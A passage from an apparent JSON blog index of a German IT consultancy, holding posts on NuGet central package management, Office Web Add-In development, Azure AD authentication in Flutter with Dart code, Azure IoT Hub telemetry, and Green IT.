definiert werden, um für jedes Paket anhand des Namens die zu verwendende Quelle zuzuordnen. Details zu dieser Konfiguration sind in der Microsoft-Dokumentation zu finden. Sollten mehrere NuGet.Config-Dateien zum Einsatz kommen, ist zusätzlich die Dokumentation zur Vererbung der Konfigurationseinträge zu empfehlen (beim Aufruf von nuget.exe ist das Arbeitsverzeichnis relevant, nicht das Verzeichnis des Projekts oder der Projektmappe!).\nFazit Die zentrale Paketverwaltung kann bei vielen Projekten, die die gleichen NuGet-Paketversionen verwenden müssen (etwa, weil sie gemeinsam von anderen Projekten referenziert werden), eine Erleichterung sein. Die Aktualisierung der Pakete wird jedoch komplizierter, da nicht direkt ersichtlich ist, welche Projekte betroffen sind und somit getestet werden müssen.\nWenn es keine Anforderung ist, dass die Paketversionen projektübergreifend übereinstimmen, bietet die zentrale Paketverwaltung keinen Vorteil und auf sie zu verzichten ist besser, um leichter die Pakete einzelner Projekte verändern zu können.\nSomit ist die zentrale Paketverwaltung kein Must-have, aber ein für manche Situationen nützliches Werkzeug.\n","date":"8. September 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/zentrale-nuget-paketverwaltung_hu7190a88693c3a6fbaf2ee7ab9915caff_24943_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/zentrale-nuget-paketverwaltung_hu7190a88693c3a6fbaf2ee7ab9915caff_24943_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/zentrale-nuget-paketverwaltung/","tags":[".net","backend"],"title":"Zentrale NuGet-Paketverwaltung"},{"categories":["How To"],"contents":"Microsoft Office gilt mit 85% Marktanteil als die meistgenutzte Office-Software von Büromitarbeitern (stand 2020 – Statista) . Mit der Entwicklung von Add-Ins können Microsoft Office Produkte um selbst definierte Funktionalitäten erweitert werden und von einem großen potenziellen Nutzerkreis profitieren. Besonders Web Add-Ins erfreuen sich dabei großer Beliebtheit, da sie im Gegensatz zu COM / VSTO Add-Ins vollständig im Browser laufen und somit Cross-Plattform fähig sind.\nIn diesem Artikel wird skizziert, wie der Einstieg in die Office Web Add-In Entwicklung aussehen kann. Referenzen und Screenshots stammen aus einem dafür veröffentlichten beispielhaften Web Add-In auf GitHub . Dieses erweitert Microsoft Outlook um eine Funktionalität, die den Inhalt von langen Mails in 1-20 Sätzen zusammenfasst. Dazu wurden die Azure Cognitive Services integriert, sowie der derzeit in der Beta befindliche Text Summarization Service .\nDie Kernelemente Ein Web Add-In besteht aus zwei Kernelementen. Das erste Element ist eine Webanwendung, welche die Oberflächen und Funktionalitäten des Add-Ins bereitstellt. Für die Interaktion mit Office Elementen, wie zum Beispiel Mails, Kalendereinträgen oder Dokumenten, dient die JavaScript API für Office .\nDas zweite Kernelement stellt das XML-Manifest dar. In diesem befinden sich Konfigurationen, Eigenschaften und Richtlinien, die bestimmen, wie und wann das Add-In geladen werden soll. So wird unter anderem angegeben, wann das Add-In gestartet werden kann – beispielsweise wenn eine Mail geöffnet ist. Zudem ist im Manifest die URI zu der Webanwendung hinterlegt. Diese wird beim Starten des Add-Ins als iFrame (Office Web) oder WebView (Office Mobile) geladen und angezeigt.\nPrototyping mit Script Lab Bevor mit dem Aufsetzen des Projekts begonnen wird, kann es sinnvoll sein, mit wenig Aufwand einen Prototyp zu bauen und die Office JavaScript API zu erkunden. Dafür wird das frei verfügbare Add-In Script Lab genutzt. Mit diesem können die ersten Funktionalitäten und User Interfaces direkt in Office getestet werden.\nIm Folgenden ist dazu ein Beispiel veranschaulicht. In diesem wird für das genannten Anwendungsszenario geprüft, ob Textinhalte aus Outlook extrahiert werden können. Dafür wird das Add-In Script Lab geladen und aktiviert (1). Anhand eines simplen Skripts (2) kann mit einem Klick auf einen Button (3) der Inhalt einer Mail (4) ausgelesen. Dieser wird anschließend in die Konsole (5) geschrieben. Ergänzend dazu ist ein simples User Interface (6) aufgebaut.\nProjekterstellung und Testing Anders als beim Prototyping mit Script Lab ist für die eigentliche Entwicklung des Web Add-Ins der initiale Aufbau des Projekts und die Auswahl von Technologien sowie Werkzeugen notwendig. Für die Webanwendung kann dabei auf gängige Mittel der Webentwicklung zurückgegriffen werden. Unterstützung beim Aufbau des Projekts bietet der Generator Yeoman . Mit diesem lässt sich mit wenig Aufwand ein vorkonfiguriertes Web Add-In Projekt erzeugen. Im nachfolgenden Bild wurde ein Outlook Add-In unter Verwendung von React und TypeScript generiert.\nNach der Generierung kann mit dem Befehl npm i und npm run start die Anwendung gestartet und debugged werden. Dabei wird das Manifest in Office registriert, um somit die Webanwendung per Sideloading (Querladen – Beziehen von Anwendungen aus nicht verifizierten Quellen) zugänglich zu machen. Anschließend werden die notwendigen Zertifikate registriert und Microsoft Outlook geöffnet. Das Web Add-In kann nun in Outlook getestet werden.\nDa es sich bei dem Web Add-In um eine Webanwendung handelt, ist diese auch klassisch im Browser einsehbar. Durch den fehlenden Office Kontext im Browser, können dort die Office JavaScript APIs wie etwa zum Auslesen des Inhalts einer Mail jedoch nicht ausgeführt werden. Das Testen von Office spezifischen Funktionalitäten ist im Browser somit nicht möglich, das Designen und Testen des User Interface hingegen schon.\nDesign Richtlinien von Microsoft Für die Gestaltung von UI und UX hat Microsoft klare Vorgaben. Besonders relevant ist dies im Abnahmeprozess für die Veröffentlichung eines Add-Ins im Microsoft Store. Hinsichtlich des Designs empfiehlt sich die Verwendung von FluentUI . Dieses bietet eine Sammlung von Werkzeugen und Komponenten, die sich optisch nahtlos in die Welt von Office 365 integrieren lassen. Des Weiteren werden UX Best Practices und Design Pattern vorgegeben, die für die Add-In Entwicklung relevant sind. Ein Beispiel dafür ist die nachfolgend abgebildete „First Run Experience“ .\nImplementieren von Funktionalitäten Wie zu Beginn des Artikels erwähnt, sind bei der Entwicklung von Web Add-Ins nahezu keine Grenzen gegenüber der Entwicklung einer standalone Webanwendung gesetzt. In dem für diesen Artikel vorbereiteten Add-In wird einerseits die Office JavaScript API genutzt, um die Inhalte einer Mail auszulesen. Andererseits wird die Anwendung um externe Funktionalitäten angereichert. In diesem Fall wird dabei der ausgelesen Mailinhalt innerhalb der Webanwendung an Azure Functions übergeben. Anschließend wird der Text anhand von Azure Cognitive Services analysiert, zusammengefasst und das Ergebnis in Outlook dargestellt.\nDas hier dargestellte Beispiel ist sehr minimalistisch gehalten. Es sollte jedoch erkennbar sein, dass dem Funktionalitätsumfang bei der Entwicklung von Office Web Add-Ins nahezu keine Grenzen gesetzt sind: Das automatische Anzeigen von Wortdefinition in einem Word Dokument, das Umrechnen von Währungen in Excel oder eine Integration in die eigene Systemlandschaft – es gibt zahllose Anwendungsszenarien, die Sie nun in Ihrem ersten eigenen Web Add-In umsetzen können.\nFazit Microsoft Office gilt mit 85% Marktanteil als die meistgenutzte Office Software von Büromitarbeitern. Office Web Add-Ins bieten zahlreiche Einsatzmöglichkeiten und sind Cross-Plattform fähig. Im Kern besteht ein Web Add-In aus einer Webanwendung und einem XML-Manifest. Für die Entwicklung können moderne Technologien und Werkzeuge herangezogen werden, die auch in der klassischen Webentwicklung als Standard gelten. Durch die Nutzung der Office JavaScript API ist die Interkation mit Office Elementen wie Dokumenten, Mails, Kalendereinträgen und weiteren möglich. Dem potenziellen Funktionalitätsumfang sind nahezu keine Grenzen gesetzt, da beliebige Services angesprochen und integriert werden können.\nWir unterstützen bei der Add-In-Entwicklung sowie bei der Anpassung und Teilentwicklung von Standardsoftware! ","date":"27. Juli 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/office-addin-entwicklung_huc914daee052960b26943cdecf19b3926_49726_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/office-addin-entwicklung_huc914daee052960b26943cdecf19b3926_49726_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/einstieg-in-die-office-web-add-in-entwicklung/","tags":[".net","microsoft-365"],"title":"Einstieg in die Office-Web-Add-In-Entwicklung"},{"categories":["How to","Quick-Tipps"],"contents":"Over a year ago, I published an article on how to set up an authentication mechanism for Flutter apps that makes use of the power of Microsoft’s Azure AD (you can find the blog post here ). Now, after some time has gone by, I want to revisit what me and my team did at that time. Specifically, I want to get into detail about how a mobile-only authentication solution can be transferred to the web.\nRethinking our authentication model When going multi-platform (for us, this meant: mobile and web), we need to consider a way to get the authentication under one hood, nonetheless respecting the platform-specific authentication mechanisms. When authenticating, the users should experience no flow gaps or design breaks between several platforms.\nHow far the problem of a generic, multi-platform authentication mechanism reaches, becomes way more easier to catch if we consider that:\nOn mobile phones, multi-factor authentication for AzureAD account usually happens through the Microsoft Authenticator app, which redirects the user back to the caller when the second factor has been verified. On the web, there might also be a multi-factor enforcement, but (and that is a big difference) there is a bigger context switch: the mobile app as a second factor check usually happens to be a different device than the computer the browser runs on (for the one and only exception if the web app is run in a mobile browser). Let’s solve the multi-platform issue from a developer’s point of view.\nGoing multi-platform When browsing Dart packages , there is no package that integrates mobile and web platforms for AzureAD authentication with flutter. There are, however, several packages for specific platforms:\nmsal_js for the web, which basically is a dart2js wrapper around the native msal.js package. azure_ad_authentication for mobile (we switched from Moodio’s package to this one due to faster null safety migration and created an internal fork out of it). Defining stubs Now that we have our packages defined, let’s go for a generic approach. First of all, we define an AuthenticationResult that contains some basic information about the authenticated user:\nclass AuthenticationResult { final String? accessToken; final String? email; final String? displayName; final String? expiresOn; AuthenticationResult(this.accessToken, this.email, this.displayName, this.expiresOn); } Most importantly, the accessToken defines the token to get access to any API.\nThen, we basically follow the idea of this stackoverflow post: How to import platform specific dependency in Flutter/Dart? After having defined our authentication model, we also define an abstract AuthenticationService:\nabstract class AuthenticationService { Future\u0026lt;AuthenticationResult?\u0026gt; acquireToken(); Future\u0026lt;void\u0026gt; signOut(); factory AuthenticationService() { return getAuthenticationService(); } Future\u0026lt;void\u0026gt; initialize(); } There are two methods (one for signing in, one for signing out) defined that need to be implemented by any platform-specific implementation of the abstract class. The initialization method is needed only for mobile and can be ignored on the web (precisely, on Android, the Azure AD configuration is read through a configuration file, which — thus not blocking the UI — should be handled within a future). The secret sauce is the factory constructor that allows us to implement platform-specifics.\nMobile and web authentication service We now define a stub that needs to be implemented by both platforms:\nAuthenticationService getAuthenticationService() =\u0026gt; throw UnsupportedError(\u0026#39;Cannot create a AuthenticationService without the packages dart:html or package:shared_preferences\u0026#39;); Then, for each platform, we implement the stub.\nMobile:\nclass MobileAuthenticationService implements AuthenticationService { AzureAdAuthentication? _auth; Future\u0026lt;AuthenticationResult?\u0026gt; acquireToken() async { return (await authenticate()) ?? null; } Future\u0026lt;AuthenticationResult?\u0026gt; authenticate() async { await initialize(); UserAdModel? userAdModel; try { userAdModel = await _auth?.acquireTokenSilent(scopes: [authScope]); } on MsalException { print(\u0026#39;Error getting token silently. Unspecified reason\u0026#39;); try { userAdModel = await _auth?.acquireToken(scopes: [authScope]); } on MsalException { print(\u0026#39;Error getting token silently. Unspecified reason\u0026#39;); } } return AuthenticationResult( userAdModel?.accessToken, userAdModel?.mail, userAdModel?.displayName, userAdModel?.expiresOn); } Future\u0026lt;void\u0026gt; initialize() async { if (_auth != null) { return; } // ... _auth = await AzureAdAuthentication.createPublicClientApplication( clientId: clientId, authority: authority, configPath: tempConfig.path); } Future\u0026lt;void\u0026gt; signOut() async { await initialize(); try { await _auth?.logout(); } on MsalException { print(\u0026#39;Error signing out\u0026#39;); } on PlatformException catch (e) { print(\u0026#39;some other exception ${e.toString()}\u0026#39;); } } } AuthenticationService getAuthenticationService() =\u0026gt; MobileAuthenticationService(); Web:\nclass WebAuthenticationService implements AuthenticationService { PublicClientApplication? publicClientApp; @override Future\u0026lt;AuthenticationResult?\u0026gt; acquireToken() async { AuthenticationResult? result; AccountInfo; await initialize(); try { result = await publicClientApp!.acquireTokenSilent(SilentRequest()..scopes = [authScope]); return AuthenticationResult( result.accessToken, result.account?.username, result.account!.name, result.expiresOn.toString()); } on BrowserAuthException { print(\u0026#39;Error getting token silently. Unspecified reason\u0026#39;); try { final List\u0026lt;AccountInfo\u0026gt; accounts = publicClientApp!.getAllAccounts(); if (accounts.isNotEmpty) { publicClientApp!.setActiveAccount(accounts.first); } result = await publicClientApp!.acquireTokenPopup(PopupRequest()..scopes = [authScope]); return AuthenticationResult( result.accessToken, result.account?.username, result.account!.name, result.expiresOn.toString()); } on AuthException { print(\u0026#39;Error getting token silently. Unspecified reason\u0026#39;); } } return null; } void _loggerCallback(LogLevel level, String message, bool containsPii) { if (containsPii) { return; } print(\u0026#39;MSAL: [$level] $message\u0026#39;); } @override Future\u0026lt;void\u0026gt; signOut() async { await initialize(); try { publicClientApp!.logoutRedirect(); } on AuthException catch (ex) { print(\u0026#39;Logout failed.\u0026#39;); throw ex; } } @override Future\u0026lt;void\u0026gt; initialize() async { if (publicClientApp != null) { return; } publicClientApp = PublicClientApplication( Configuration() ..auth = (BrowserAuthOptions() ..clientId = clientId ..authority = authority) ..system = (BrowserSystemOptions() ..loggerOptions = (LoggerOptions() ..loggerCallback = _loggerCallback ..logLevel = LogLevel.error)), ); } } AuthenticationService getAuthenticationService() =\u0026gt; WebAuthenticationService(); Now, when using the authentication logic, we only call the stub and the methods on the abstract class definition. This can, for instance, be done by using Riverpod’s provider mechanism:\nimport \u0026#39;authentication_service_stub.dart\u0026#39; if (dart.library.html) \u0026#39;package:okhome_flutter/auth/web_authentication_service.dart\u0026#39; if (dart.library.io) \u0026#39;package:okhome_flutter/auth/mobile_authentication_service.dart\u0026#39;; final _authenticationServiceProvider = Provider((ref) =\u0026gt; AuthenticationService()); Mind the conditional import statement that is needed for Dart to distinguish between the platform implementations. Now magically, depending on the platform the app runs on, the correct authentication logic is being called and used.\n","date":"13. Juli 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/azuread-authentication-in-flutter-web-and-mobile_hu92cb01db4bfa2d53cd6676438d3c485b_52254_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/azuread-authentication-in-flutter-web-and-mobile_hu92cb01db4bfa2d53cd6676438d3c485b_52254_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/azure-ad-authentication-in-flutter-web-and-mobile/","tags":["frontend","azure"],"title":"Azure AD Authentication in Flutter - Web and Mobile"},{"categories":["Insights"],"contents":"Durch die immer weiter zunehmende Anzahl verknüpfter Geräte steigt die täglich generierte Datenmenge. Diese Entwicklung wird durch das Auftreten neuer und die fortschreitende Weiterentwicklung bestehender Technologien im Bereich des Internet of Things (IoT) beschleunigt. Die Daten der verknüpften Geräte werden auch als Gerätetelemetrie bezeichnet. Beispiele hierfür sind Sensordaten wie die Umgebungstemperatur oder die Signalstärke. Ein Filtern und Weiterverarbeiten der Daten ist zwingend notwendig, um Mehrwerte zu schaffen. Ziel dieses Blogbeitrags ist das Aufzeigen, wie Telemetriedaten mithilfe des Azure IoT Hubs an die Azure Cloud übermittelt werden können. Zudem wird eine beispielhafte Weiterverarbeitung der Daten aufgezeigt.\nWas ist der Azure IoT Hub? Der Azure IoT Hub ist ein in der Azure Cloud gehosteter Dienst, der die Gerätekonnektivität und die Erfassung von Telemetriedaten mit hohem Volumen ermöglicht. Somit kennzeichnet der Azure IoT Hub den Übergang der physischen in die virtuelle Welt. Durch die Verwendung des Azure IoT Hubs ist die Integration mit einer Vielzahl an Azure-Diensten, wie z.B. Azure Logic Apps, Azure Stream Analytics, Azure Storage oder Azure Service Bus, sichergestellt. Dadurch ist das Abbilden des individuellen Anwendungsfalls möglich.\nDas Anwendungsbeispiel Das Anwendungsbeispiel dieses Blogbeitrags bezieht sich auf das Lager eines Gastronomieunternehmens, welches Equipment wie Kühlschränke für Veranstaltungen vermietet. Mithilfe von Bluetooth Low Energy (BLE) Beacons und Gateways wird automatisiert über die Signalstärke erfasst, ob sich ein Artikel im Lager befindet. Dazu werden BLE-Beacons auf den Artikeln angebracht. Die BLE-Gateways werden fest im Lager installiert. Nun senden die Beacons periodisch Signale, welche von den Gateways erfasst werden. Auf diese Weise wird registriert, welche Beacons und somit auch welche Artikel sich in der Nähe eines Gateways befinden.\nWie können die physischen Geräte an den Azure IoT Hub angebunden werden? Zunächst müssen die Gateways als Geräte im Azure IoT Hub registriert werden. Dies erfolgt im Azure-Portal. Als Authentifizierungsmethode wird im vorliegenden Anwendungsbeispiel die Verwendung einer Shared Access Signature (SAS-Token) gewählt. Dadurch kann das Senden von Schlüsseln über das Netzwerk vermieden werden und der Gültigkeitszeitraum des Tokens wird beschränkt. Zum Generieren des SAS-Tokens je Gerät wird die IoT-Hub-Extension für Visual Studio Code verwendet (siehe Bild 1 – Nummer 1). Nach erfolgreicher Anbindung des physischen Gerätes an den Azure IoT Hub wird der Gerätestatus in Grün angezeigt (siehe Bild 1 – Nummer 2).\nBild 1: Generieren des SAS-Tokens in Visual Studio Code\nWie werden die übermittelten Telemetriedaten abgefangen und weiterverarbeitet? Die an den Azure IoT Hub übermittelten Telemetriedaten werden standardmäßig an den integrierten Endpunkt gesendet. Hier stehen die Daten je nach festgelegter Aufbewahrungsdauer und je nach IoT-Hub-Ebene bis zu sieben Tage zur Verfügung. Um die übermittelten Daten einzusehen, kann wiederum die Azure-IoT-Hub-Extension verwendet werden. Diese zeigt mithilfe des Befehls „Start Monitoring Build-in Event Endpoint“ die Daten an. Hierbei wird je Gateway (siehe Bild 2 – Nummer 1) eine Nachricht mit allen empfangenen Beacon-Signalen (siehe Bild 2 – Nummer 2) gesendet.\nBild 2: Einsehen der Daten in Visual Studio Code\nDurch den integrierten Endpunkt ist auch die Integration mit Azure Stream Analytics möglich. Dadurch können die Streaming-Daten mithilfe von komplexen Regelwerken verarbeitet werden. Azure Stream Analytics wird als Ereignisprozessor eingesetzt, um die Ereignisdatenströme zu transformieren und um Analyseabfragen in Echtzeit gegen die Streams auszuführen. Zur Verdeutlichung erfolgt ein einfaches Abfragebeispiel. Dazu wird ein Stream-Analytics-Auftrag im Azure-Portal angelegt. Als Eingabe wird der zuvor angelegte Azure IoT Hub und als Ausgabe beispielhaft ein Blob-Storage definiert. Die Beispielabfrage enthält den folgenden Code:\nSELECT System.Timestamp() as WindowEndTime, IoTHub.mac, MAX(IoTHub.rssi) AS MaxRSSI INTO Blob FROM IoTHub TIMESTAMP BY IoTHub.timestamp WHERE IoTHub.type = \u0026#39;iBeacon\u0026#39; GROUP BY IoTHub.mac, TumblingWindow(second, 20) Es wird ein rollierendes Fenster mit einer Länge von 20 Sekunden je Beacon zugrunde gelegt. Durch die Verwendung eines rollierenden Fensters überschneiden sich die einzelnen Fenster nicht. Zudem wird die maximale Signalstärke je Fenster ausgegeben. Im Abfrage-Editor im Azure-Portal ist es möglich, eine Testabfrage durchzuführen (siehe Bild 3 – Nummer 1). Die Testergebnisse können eingesehen und geprüft werden (siehe Bild 3 – Nummer 2). Nach dem Aktivieren des Stream-Analytics-Auftrags werden die Daten im hinterlegten Blob-Storage gespeichert.\nBild 3: Abfragen der Daten in Azure Stream Analytics\nQuelle https://docs.microsoft.com/de-de/azure/iot-hub/iot-hub-dev-guide-sas https://marketplace.visualstudio.com/items?itemName=vsciot-vscode.azure-iot-toolkit https://docs.microsoft.com/de-de/stream-analytics-query/tumbling-window-azure-stream-analytics ","date":"24. Mai 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_hu78e7227f2d669c6eefb5b192162103f9_4655_9ce6e4298ebbb38da348081842deff0a.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_hu78e7227f2d669c6eefb5b192162103f9_4655_d8cedd0e5e51e6adf18ca89698001b74.jpg'\"\u003e\n \n \n \n\n","permalink":"/verwenden-des-azure-iot-hubs-zum-%C3%BCbermitteln-von-telemetriedaten-an-die-azure-cloud/","tags":["azure"],"title":"Verwenden des Azure IoT Hubs zum Übermitteln von Telemetriedaten an die Azure Cloud"},{"categories":["Insights"],"contents":"Die Informationstechnologie wird meistens von Natur aus als „grün“ betrachtet. Unter Umständen trifft das auch zu, denn Daten sind an und für sich nicht verschmutzend. Allerdings wird es oft ignoriert, dass die IT-Komponenten (Rechenzentren, Server, Zubehör etc.) stromabhängig sind. Die IT-Branche wächst ständig weiter, die damit verbundenen Aktivitäten werden immer umfangreicher bzw. komplexer und ihr Energiebedarf wird dementsprechend höher. Der unkontrollierte Stromverbrauch der IT-Systeme bedroht die finanziellen Ressourcen von Unternehmen, denen sie dient, und bürdet der Erde eine untragbare Belastung auf. Hinsichtlich der Verbrauchsdynamik wird vermutlich der Anteil der Informations- und Kommunikationstechnologie bis 2030 auf 20 % des weltweiten gesamten Stromverbrauchs steigen. Nicht nur der unkontrollierte Stromverbrauch ist verantwortlich für die Umweltbelastung der IT-Branche. Unternehmen haben eine verbreitete Gewohnheit, Hardware alle paar Jahre unabhängig von ihrem Zustand auszutauschen. Eine Untersuchung von Nexthink zeigt, dass ca. 20 % solcher Geräte immer noch leistungsfähig sind und ein Austausch somit nicht erforderlich wäre. Von den 80 %, die eine niedrige Leistung aufwiesen, seien nur 2 % nicht mehr zu retten gewesen. Die restlichen 98 % habe man durch ein einfaches RAM-Upgrade oder eine Optimierung der Boot-Geschwindigkeit für den weiteren Betrieb erhalten können. Unternehmen, die diese kleinen Verbesserungen nicht durchführen, verschwenden nicht nur ihre Ressourcen, sondern tragen zum weltweiten Problem mit Elektroschrott bei.\nWas ist Green IT? „Green IT“ verspricht, den ansteigenden Energieverbrauch wieder zu senken und die umweltschonende Entsorgung und Wiederverwendung zu sichern. Allgemein bezeichnet der Ansatz die ressourcenschonende Verwendung von Energie und Einsatzmaterialen in der Informations- und Kommunikationstechnologie über den gesamten Lebenszyklus hinweg. So trägt die grüne Transformation in der IT dazu bei, die Digitalisierung in umweltschonende Bahnen zu lenken, sodass Hardware, Software, Rechenzentren und Netzwerke energieeffizient und umweltverträglich betrieben werden.\nVorteile der Green IT Während Green-IT-Praktiken von der Forderung nach Energieeinsparung sowie einem gestiegenen Bewusstsein für die Auswirkungen des Energiesparens auf den Planeten vorangetrieben werden, werden sie oft durch unterschiedliche Umstände erschwert. Die Bemühungen in diesem Sinne werden häufig aufgrund knapper Budgets und fehlender Prozesse zur Messung und Verfolgung der Leistung in Frage gestellt. Jedoch kann die nachhaltige Ausrichtung der IT für Unternehmen auf vielerlei Weise vorteilhaft sein. Verantwortungsbewusste Unternehmen suchen Partnerschaften mit anderen verantwortungsbewussten Firmen, indem sie grüne Lieferanten und Geschäftspartner wählen. Wer die Umwelt schont, erzielt generell mehr Erfolg bei den Kunden, was wiederum den Umsatz positiv beeinflussen kann. Zudem kann das Rekrutierungspotenzial der Green IT ein echter Wettbewerbsvorteil sein. Denn junge Generationen bevorzugen bei der Jobauswahl zunehmend Unternehmen, in denen sie zu der Nachhaltigkeit beitragen oder zumindest Teil eines Teams sein können, das sich in die grüne Richtung bewegt. Ein weiterer offensichtlicher Vorteil von Green IT sind niedrigere Energiekosten. Strom und andere Energieträger sind in den letzten Jahrzehnten immer teurer geworden. Dieser Trend wird sich vermutlich durch die Energiewende und aktuelle Konflikte bezüglich der Stromversorgung fortsetzen. Wer langfristig wettbewerbsfähig bleiben will, braucht energieeffiziente Systeme und Prozesse. Wie oben bereits erwähnt, überholt IT ihre Ausrüstung alle 3-5 Jahre. Ausrüstungen in anderen Bereichen werden weniger häufig gewechselt, sodass es Jahrzehnte dauern kann, bis sich umweltfreundliche Neuinvestitionen durchsetzen. Nicht so in der IT. Daher kann sich die grüne Transformation der IT schnell bezahlt machen.\nWie kann die grüne Transformation der IT gelingen? Leider gibt es keinen Schalter, der plötzlich für die grüne Transformation in der IT sorgt. Es ist in der Tat ein umfassender Prozess. In erster Linie ist es wichtig zu verstehen, dass die IT nicht nur Teil des Problems ist, sondern auch Teil der Lösung. Vielmehr sollte das Potenzial von moderneren bzw. effizienteren Lösungen erkannt und genutzt werden.\nSchwachstellen und Emissionsquellen identifizieren Das Zitat von Peter F. Drucker: „Was man nicht messen kann, kann man nicht lenken“, gilt auch für die grüne Transformation. Eine initiale Bewertung ist hierbei der erste Schritt. Dazu benötigt man Basisdaten zu den verschiedenen Parametern, die gemessen werden sollen. Aktuell scheinen sich der Energieverbrauch und die CO2-Emissionen als zentrale Indikatoren für die Nachhaltigkeit eines Unternehmens zu etablieren. Außerdem kann es hier hilfreich sein, sich die entsprechende Expertise von externer Seite aus zu sichern. Hierzu gibt es mittlerweile zahlreiche Beratungsfirmen sowie Analyse-Software, die bei der Identifizierung und Analyse der Schwachstellen und Emissionsquellen unterstützen.\nMaßnahmen definieren Die Identifizierung der Schwachstellen und Emissionsquellen bilden die Grundlage für die weiteren Maßnahmen. Gonserkewitz, Schmermbeck und Ahlemann haben diese in einer umfassende Analyse ermittelt und nach der relativen Einfachheit der Umsetzbarkeit und der Größe des voraussichtlichen positiven ökologischen Effektes kategorisiert. Die kurzfristigen Maßnahmen umfassen u. a. die Selektion von Hardware und Zubehör nach ökologischen Kriterien und Verwendung softwarebasierter Funktionen, die den Stromverbrauch elektronischer Geräte aktiv regulieren. Unter mittelfristigen Maßnahmen werden die dynamische Abschaltung und das Netzwerk Power Management von Hardware, Virtualisierung und Cloud Computing sowie die Entwicklung von Green-IT-Prinzipien aufgelistet. Als langfristig umsetzbaren Maßnahmen werden u. a. die Auswahl von ausschließlich nachhaltigen Lieferanten, die Nutzung von Building-Automation-Systemen/Smart Buildings und die Konsolidierung von Servern genannt.\nNormen und Zertifikate berücksichtigen Bevor blind neue Verfahren oder Geräte übernommen werden, nur weil sie umweltfreundlich sind, müssen die Änderungen ausführlich überprüft, getestet und in das Budget eingearbeitet werden. Hierzu bieten Standards – und Produkte, die diese Standards erfüllen – getestete Lösungen. Da ein Fokus auf Energieeffizienz ohnehin durch die Energieeinsparverordnung und andere gesetzliche Richtlinien bei den Herstellern von Elektrogeräten angekommen ist, gibt es hierfür verschiedene Zertifikate. Die wichtigsten darunter sind der Blaue Engel, das EU-Energielabel, der ENERGY STAR und das EU-Umweltzeichen. Zudem kommen die Rechenzentren aktuell verschiedene Normen wie DIN EN ISO 14 001 und DIN EN ISO 50 001 zur Anwendung.\nHardware-Lifecycles optimieren Zur Verlängerung der Hardware-Lebensdauer sowie Senkung des Stromverbrauchs können Richtlinien erstellt werden. Anstatt alte Hardwaregeräte schnell auszutauschen, können diese davor untersucht werden, um entsprechend des Verbesserungspotenzials ihre Einsatzdauer zu verlängern. Zudem können unnötige Software in Hardwaregeräten identifiziert und entfernt werden, um den unnötigen Datenverkehr bzw. Stromverbrauch zu vermeiden. Beim Kauf von neuen Geräten können die Hersteller bevorzugt werden, die ein Rücknahmeprogramm für ihre Geräte haben. Außerdem können Marken identifiziert werden, die ihre Geräte aus leichter recyclebaren Materialien produzieren. Ressourcenschonend ist auch die Verlängerung der Lebenszyklen der Geräte durch die Zuweisung alter Equipments an neue Aufgaben bzw. neue Nutzer. Beispielsweise können ältere Server in Zeiten hoher Nachfrage eingeschaltet und als Standby-Einheiten verwendet werden. Ältere Desktop-Geräte können an Benutzer weitergegeben werden, die keine blitzschnellen Maschinen benötigen. Das Spenden von Geräten an eine gemeinnützige Gruppe, Schule oder Bibliothek bietet eine weitere Möglichkeit, deren Lebensdauer zu verlängern.\nGrün durch Cloud In den meisten Fällen ist es ressourcenschonender, Anwendungen bei zertifizierten Rechenzentren in die Cloud auszulagern. In vielen Bereichen ist Cloud-Hosting ohnehin die bessere Lösung als ein unternehmenseigener Server. Selbst wenn die Nutzung eines externen Rechenzentrums nicht für jeden Unternehmensbereich infrage kommt, können Ressourcen gespart werden, indem die IT-Infrastruktur durch Virtualisierung und Zentralisierung von IT-Diensten vereinfacht wird. Eine Analyse von Microsoft zeigt, dass die Verlagerung von IT-Infrastrukturen von traditionellen Rechenzentren in die Cloud die CO2-Emissionen von Unternehmen um 72 bis 98 % reduzieren kann. Diese Einsparungen sind auf die Betriebseffizienz in der Microsoft-Cloud (aufgrund der Mandantenfähigkeit und dynamischer Bereitstellung), ein effizienteres IT-Equipment und Rechenzentrumsinfrastrukturen sowie die Nutzung von erneuerbarer Energie zurückzuführen.\nNachhaltige Softwareentwicklung Neben solchen hardwareseitigen Verbesserungen gibt es auch Einsparpotenzial, das sich durch effiziente Softwareentwicklung realisieren lässt. Um Software hinsichtlich ihrer Nachhaltigkeit in Bezug auf den ausgelösten Hardware- und Energiefluss zu beurteilen, sind operationalisierbare Kriterien notwendig. Diese Kriterien können dann z. B. zur Information für die Verantwortlichen für Softwareentwicklung, Softwarebeschaffung oder zur Vergabe eines Umweltkennzeichens eingesetzt werden. Das Umweltbundesamt hat 